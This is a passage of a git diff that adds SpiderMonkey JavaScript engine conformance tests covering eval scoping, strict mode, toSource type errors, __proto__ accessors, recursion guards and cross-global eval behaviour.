+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/line-terminator-paragraph-terminator.js b/js/src/tests/ecma_5/eval/line-terminator-paragraph-terminator.js
new file mode 100644
index 000000000..61047fb10
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/line-terminator-paragraph-terminator.js
@@ -0,0 +1,73 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657367;
+var summary = "eval must not parse strings containing U+2028 or U+2029";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function esc(s)
+{
+ return s.split("").map(function(v)
+ {
+ var code =
+ ("000" + v.charCodeAt(0).toString(16)).slice(-4);
+ return "\\u" + code;
+ }).join("");
+}
+
+try
+{
+ var r = eval('"\u2028"');
+ throw new Error("\"\\u2028\" didn't throw, returned " + esc(r));
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "U+2028 is not a valid string character");
+}
+
+try
+{
+ var r = eval('("\u2028")');
+ throw new Error("(\"\\u2028\") didn't throw, returned " + esc(r));
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "U+2028 is not a valid string character");
+}
+
+try
+{
+ var r = eval('"\u2029"');
+ throw new Error("\"\\u2029\" didn't throw, returned " + esc(r));
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "U+2029 is not a valid string character");
+}
+
+try
+{
+ var r = eval('("\u2029")');
+ throw new Error("(\"\\u2029\") didn't throw, returned " + esc(r));
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "U+2029 is not a valid string character");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/shell.js b/js/src/tests/ecma_5/eval/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/shell.js
diff --git a/js/src/tests/ecma_5/eval/undeclared-name-in-nested-strict-eval.js b/js/src/tests/ecma_5/eval/undeclared-name-in-nested-strict-eval.js
new file mode 100644
index 000000000..1cefe474b
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/undeclared-name-in-nested-strict-eval.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary =
+ "Verify that we don't optimize free names to gnames in eval code that's " +
+ "global, when the name refers to a binding introduced by a strict mode " +
+ "eval frame";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = "global";
+assertEq(eval('var x = "eval"; eval("x")'), "eval");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/extensions/15.4.4.11.js b/js/src/tests/ecma_5/extensions/15.4.4.11.js
new file mode 100644
index 000000000..a4c38faa7
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/15.4.4.11.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function arr() {
+ return Object.defineProperty([20, 10, 30], 0, {writable: false});
+}
+
+assertEq(testLenientAndStrict('var a = arr(); a.sort()',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+function obj() {
+ var o = {0: 20, 1: 10, 2: 30, length: 3};
+ Object.defineProperty(o, 0, {writable: false});
+ return o;
+}
+
+assertEq(testLenientAndStrict('var o = obj(); Array.prototype.sort.call(o)',
+ raisesException(TypeError),
+ raisesException(TypeError)),
+ true);
+
+// The behavior of sort is implementation-defined if the object being
+// sorted is sparse, so I'm not sure how to test its behavior on
+// non-configurable properties.
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/15.9.4.2.js b/js/src/tests/ecma_5/extensions/15.9.4.2.js
new file mode 100644
index 000000000..c517f8be8
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/15.9.4.2.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 682754;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month){
+ return TZAtDate(new Date(dd(2009,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+
+ JanTZ = TZInMonth(1);
+ JulTZ = TZInMonth(7);
+ CurrTZ = TZAtDate(new Date());
+
+ // Allow non-standard "-0700" as timezone, not just "-07:00"
+ check("2009-07-23T00:53:21.001-0700", dd(2009,7,23,7,53,21,1));
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_5/extensions/8.12.5-01.js b/js/src/tests/ecma_5/extensions/8.12.5-01.js
new file mode 100644
index 000000000..c6f1c18ee
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/8.12.5-01.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ options("strict");
+ options("werror");
+ try
+ {
+ test1();
+ errors.push("strict+werror didn't make test1 fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("test1 with strict+werror failed without a TypeError: " + e);
+ }
+
+ try
+ {
+ test2();
+ errors.push("strict+werror didn't make test2 fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("test2 with strict+werror failed without a TypeError: " + e);
+ }
+
+ options("strict");
+ options("werror");
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_5/extensions/Boolean-toSource.js b/js/src/tests/ecma_5/extensions/Boolean-toSource.js
new file mode 100644
index 000000000..8d135a9fd
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/Boolean-toSource.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toSource.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toSource.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toSource.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/Number-toSource.js b/js/src/tests/ecma_5/extensions/Number-toSource.js
new file mode 100644
index 000000000..c2e306f53
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/Number-toSource.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toSource.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toSource.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toSource.call(new Number(42))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/String-methods-infinite-recursion.js b/js/src/tests/ecma_5/extensions/String-methods-infinite-recursion.js
new file mode 100644
index 000000000..a5972d8c3
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/String-methods-infinite-recursion.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657585;
+var summary =
+ 'Guard against infinite recursion when converting |this| to string for the ' +
+ 'String.prototype.* methods';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var obj = {};
+ obj.toString = String.prototype.charAt;
+ "" + obj;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown InternalError for over-recursion, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/String-toSource.js b/js/src/tests/ecma_5/extensions/String-toSource.js
new file mode 100644
index 000000000..0614e574c
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/String-toSource.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call([])'), true);
+assertEq(raisesException(TypeError)('String.prototype.toSource.call(undefined)'), true);
+assertEq(completesNormally('String.prototype.toSource.call("")'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/__proto__.js b/js/src/tests/ecma_5/extensions/__proto__.js
new file mode 100644
index 000000000..aa6d60876
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/__proto__.js
@@ -0,0 +1,53 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = '__proto__.js';
+var BUGNUMBER = 770344;
+var summary = "__proto__ as accessor";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+assertEq(protoDesc !== null, true);
+assertEq(typeof protoDesc, "object");
+assertEq(protoDesc.hasOwnProperty("get"), true);
+assertEq(protoDesc.hasOwnProperty("set"), true);
+assertEq(protoDesc.hasOwnProperty("enumerable"), true);
+assertEq(protoDesc.hasOwnProperty("configurable"), true);
+assertEq(protoDesc.hasOwnProperty("value"), false);
+assertEq(protoDesc.hasOwnProperty("writable"), false);
+
+assertEq(protoDesc.configurable, true);
+assertEq(protoDesc.enumerable, false);
+assertEq(typeof protoDesc.get, "function", protoDesc.get + "");
+assertEq(typeof protoDesc.set, "function", protoDesc.set + "");
+
+assertEq(delete Object.prototype.__proto__, true);
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__"),
+ undefined);
+
+var obj = {};
+obj.__proto__ = 5;
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(obj.hasOwnProperty("__proto__"), true);
+
+var desc = Object.getOwnPropertyDescriptor(obj, "__proto__");
+assertEq(desc !== null, true);
+assertEq(typeof desc, "object");
+assertEq(desc.value, 5);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/arguments-property-access-in-function.js b/js/src/tests/ecma_5/extensions/arguments-property-access-in-function.js
new file mode 100644
index 000000000..f8c7e97f1
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/arguments-property-access-in-function.js
@@ -0,0 +1,58 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 721322;
+var summary =
+ 'f.arguments must trigger an arguments object in non-strict mode functions';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ test: function()
+ {
+ var args = obj.test.arguments;
+ assertEq(args !== null, true);
+ assertEq(args[0], 5);
+ assertEq(args[1], undefined);
+ assertEq(args.length, 2);
+ }
+ };
+obj.test(5, undefined);
+
+var sobj =
+ {
+ test: function()
+ {
+ "use strict";
+
+ try
+ {
+ var args = sobj.test.arguments;
+ throw new Error("access to arguments property of strict mode " +
+ "function didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+ }
+ }
+ };
+sobj.test(5, undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/array-inherited-__proto__.js b/js/src/tests/ecma_5/extensions/array-inherited-__proto__.js
new file mode 100644
index 000000000..0409d4757
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/array-inherited-__proto__.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-inherited-__proto__.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(objWithArrPrototype.__proto__, arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(objWithArrGrandPrototype.__proto__, objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/array-pop-proxy.js b/js/src/tests/ecma_5/extensions/array-pop-proxy.js
new file mode 100644
index 000000000..15c230977
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/array-pop-proxy.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'array-pop-proxy.js';
+var BUGNUMBER = 858381;
+var summary = "Behavior of [].pop on proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var p = new Proxy([0, 1, 2], {});
+Array.prototype.pop.call(p);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/array-toString-recursion.js b/js/src/tests/ecma_5/extensions/array-toString-recursion.js
new file mode 100644
index 000000000..aa5d856c3
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/array-toString-recursion.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 635389;
+var summary = 'Infinite recursion via [].{toString,toLocaleString,join}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var x = [];
+ x.join = Array.prototype.toString;
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+try
+{
+ var x = { toString: Array.prototype.toString, join: Array.prototype.toString };
+ "" + x;
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/browser.js b/js/src/tests/ecma_5/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/browser.js
diff --git a/js/src/tests/ecma_5/extensions/bug472534.js b/js/src/tests/ecma_5/extensions/bug472534.js
new file mode 100644
index 000000000..0c7d5f3ec
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/bug472534.js
@@ -0,0 +1,30 @@
+function monthNames () {
+ return [
+ /jan(uar(y)?)?/, 0,
+ /feb(ruar(y)?)?/, 1,
+ /m\u00e4r|mar|m\u00e4rz|maerz|march/, 2,
+ /apr(il)?/, 3,
+ /ma(i|y)/, 4,
+ /jun(i|o|e)?/, 5,
+ /jul(i|y)?/, 6,
+ /aug(ust)?/, 7,
+ /sep((t)?(ember))?/, 8,
+ /o(c|k)t(ober)?/, 9,
+ /nov(ember)?/, 10,
+ /de(c|z)(ember)?/, 11
+ ];
+};
+
+var actual = '';
+var expected = '(jan(uar(y)?)?)|(feb(ruar(y)?)?)|(m\\u00e4r|mar|m\\u00e4rz|maerz|march)|(apr(il)?)|(ma(i|y))|(jun(i|o|e)?)|(jul(i|y)?)|(aug(ust)?)|(sep((t)?(ember))?)|(o(c|k)t(ober)?)|(nov(ember)?)|(de(c|z)(ember)?)';
+var mn = monthNames();
+for (var i = 0; i < mn.length; ++i) {
+ if (actual)
+ actual += '|';
+ actual += '(' + mn[i++].source + ')';
+}
+
+assertEq(actual, expected);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/bug496985.js b/js/src/tests/ecma_5/extensions/bug496985.js
new file mode 100644
index 000000000..be1dd19cf
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/bug496985.js
@@ -0,0 +1,12 @@
+var a = function() {
+ return function ({x: arguments}) {
+ return arguments;
+ }
+}
+var b = eval(uneval(a));
+
+assertEq(a()({x: 1}), 1);
+assertEq(b()({x: 1}), 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/bug566661.js b/js/src/tests/ecma_5/extensions/bug566661.js
new file mode 100644
index 000000000..0e22d8dbd
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/bug566661.js
@@ -0,0 +1,6 @@
+var f = function (q) { return q['\xC7']; }
+var d = eval(uneval(f));
+assertEq(d({'\xC7': 'good'}), 'good');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/builtin-function-arguments-caller.js b/js/src/tests/ecma_5/extensions/builtin-function-arguments-caller.js
new file mode 100644
index 000000000..2acf5f452
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/builtin-function-arguments-caller.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'builtin-function-arguments-caller.js';
+var BUGNUMBER = 929642;
+var summary =
+ "Built-in functions defined in ECMAScript pick up arguments/caller " +
+ "properties from Function.prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectNoProperty(obj, prop)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(desc, undefined,
+ "should be no '" + prop + "' property on " + obj);
+}
+
+// Test a builtin that's native.
+expectNoProperty(Object, "arguments");
+expectNoProperty(Object, "caller");
+
+// Also test a builtin that's self-hosted.
+expectNoProperty(Array.prototype.indexOf, "arguments");
+expectNoProperty(Array.prototype.indexOf, "caller");
+
+// Test the Function construct for good measure, because it's so intricately
+// invovled in bootstrapping.
+expectNoProperty(Function, "arguments");
+expectNoProperty(Function, "caller");
+
+var argsDesc = Object.getOwnPropertyDescriptor(Function.prototype, "arguments");
+var callerDesc = Object.getOwnPropertyDescriptor(Function.prototype, "caller");
+
+var argsGet = argsDesc.get, argsSet = argsDesc.set;
+
+expectNoProperty(argsGet, "arguments");
+expectNoProperty(argsGet, "caller");
+expectNoProperty(argsSet, "arguments");
+expectNoProperty(argsSet, "caller");
+
+var callerGet = callerDesc.get, callerSet = callerDesc.set;
+
+expectNoProperty(callerGet, "arguments");
+expectNoProperty(callerGet, "caller");
+expectNoProperty(callerSet, "arguments");
+expectNoProperty(callerSet, "caller");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/cross-global-eval-is-indirect.js b/js/src/tests/ecma_5/extensions/cross-global-eval-is-indirect.js
new file mode 100644
index 000000000..6cd35846b
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/cross-global-eval-is-indirect.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 608473;
+var summary =
+ '|var eval = otherWindow.eval; eval(...)| should behave like indirectly ' +
+ 'calling that eval from a script in that other window';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+var res;
+
+function f()
+{
+ return [this, eval("this")];
+}
+
+var otherGlobalSameCompartment = newGlobal("same-compartment");
+
+eval = otherGlobalSameCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalSameCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalSameCompartment);
+
+var otherGlobalDifferentCompartment = newGlobal();
+
+eval = otherGlobalDifferentCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/extensions/cross-global-getPrototypeOf.js b/js/src/tests/ecma_5/extensions/cross-global-getPrototypeOf.js
new file mode 100644
index 000000000..1480a8ea1
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/cross-global-getPrototypeOf.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 770344;
+var summary = "Object.getPrototypeOf behavior across compartments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var other = newGlobal();
+
+var getProto = Object.getPrototypeOf;
+var otherGetProto = other.Object.getPrototypeOf;
+
+var proto = {};
+var obj = Object.create(proto);
+assertEq(getProto(obj), proto);
+assertEq(otherGetProto(obj), proto);
+
+other.proto = proto;
+var otherObj = other.evaluate("Object.create(proto)");
+assertEq(getProto(otherObj), proto);
+assertEq(otherGetProto(otherObj), proto);
+
+var p = other.evaluate("({})");
+var objOtherProto = Object.create(p);
+assertEq(getProto(objOtherProto), p);
+assertEq(otherGetProto(objOtherProto), p);
+
+other.evaluate("var otherProto = { otherProto: 1 }; " +
+ "var otherObj = Object.create(otherProto);");
+assertEq(getProto(other.otherObj), other.otherProto);
+assertEq(otherGetProto(other.otherObj), other.otherProto);
+
+other.evaluate("var newOtherProto = { newOtherProto: 1 }; " +
+ "otherObj.__proto__ = newOtherProto;");
+assertEq(otherGetProto(other.otherObj), other.newOtherProto);
+
+// TODO This assertion fails due to bug 764307
+//assertEq(getProto(other.otherObj), other.newOtherProto);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment-before-var.js b/js/src/tests/ecma_5/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
new file mode 100644
index 000000000..da0da55c8
--- /dev/null
